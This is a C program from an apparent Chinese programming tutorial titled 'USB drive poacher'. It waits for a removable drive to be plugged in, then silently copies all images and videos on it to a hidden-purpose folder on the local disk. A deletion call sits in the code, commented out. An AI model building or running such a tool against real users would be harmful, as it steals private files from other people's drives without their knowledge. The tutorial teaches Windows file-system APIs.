#include <stdio.h>
#include <windows.h> //操作系统的头文件
//查找某一个盘符中我们需要的文件
void FindFile(char filename[])
{
//filename: "F:" --> "F:\\*.*"
char pathstr[300] = { 0 };
sprintf(pathstr, "%s\\*.*", filename); //通配符 *.mp3 *mp4 *avi *rmvb *.wma
WIN32_FIND_DATA findata; //文件结构 文件的属性
HANDLE hfile = FindFirstFile(pathstr, &findata);
char tempstr[300] = { 0 };
while (1) //DWORD
{
//如果找到的文件是文件夹
if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
if (findata.cFileName[0] != '.')
{
sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
FindFile(tempstr);
}
}
else //文件
{
if (strstr(findata.cFileName, ".jpg") ||
strstr(findata.cFileName, ".bmp") ||
strstr(findata.cFileName, ".png") ||
strstr(findata.cFileName, ".mp4") ||
strstr(findata.cFileName, ".avi") ||
strstr(findata.cFileName, ".rmvb"))
{
//findata.cFileName 文件名 ---> 全路径
sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
printf("%s\n", tempstr);
//创建一个自己的路径
char mypath[300] = { 0 };
CreateDirectory("D:\\寒冰断水的U盘", NULL);
sprintf(mypath, "D:\\寒冰断水的U盘\\%s", findata.cFileName);
CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换
//DeleteFile(tempstr);
}
}
int ret = FindNextFile(hfile, &findata); //查找下一个文件
if (ret == 0) //后面没有了 找到了最后一个
break;
}
}
/******************************************************
新知识:
GetLogicalDrives:功能是获取逻辑驱动 返回值每一位对应一个盘符。
GetDriveType 获取盘符的类型。
WIN32_FIND_DATA 文件的属性(属性 名字 创建日期 修改日期.... )
FindFirstFile //根目录 隐藏的系统文件 不是根目录 . ..
FindNextFile
HANDLE hfile = FindFirstFile("F:\\*.*", &findata);
while (1)
{
int ret = FindNextFile(hfile, &findata); //查找下一个文件
if (ret == 0) //后面没有了 找到了最后一个
break;
}
********************************************************/
int main()
{
//自动检测U盘的拔插
unsigned long allDisk; //定义一个变量 4B 32bit
char str[5] = { 0 };
while (1)
{
allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动
for (int i = 0; i < 10; i++) //假设最多10个盘符
{
if ((allDisk & 1) == 1) //最低位的那个盘符是存在
{
sprintf(str, "%c:", 'A' + i); //输出到字符串
if (GetDriveType(str) == DRIVE_REMOVABLE)
break;
}
allDisk = allDisk >> 1;
}
if (GetDriveType(str) == DRIVE_REMOVABLE)
break;
}
//找到了U盘是str
FindFile(str);
//杀毒全盘扫描
//文件管理器 视频
while (1);
return 0;
/*
C C++ 数据结构算法 网络编程 多线程多进程 windows系统编程 linux内核编程
MFC/Qt 数据库mysql 服务器高并发
*/
}
U盘偷猎者
最新推荐文章于 2024-07-13 19:27:27 发布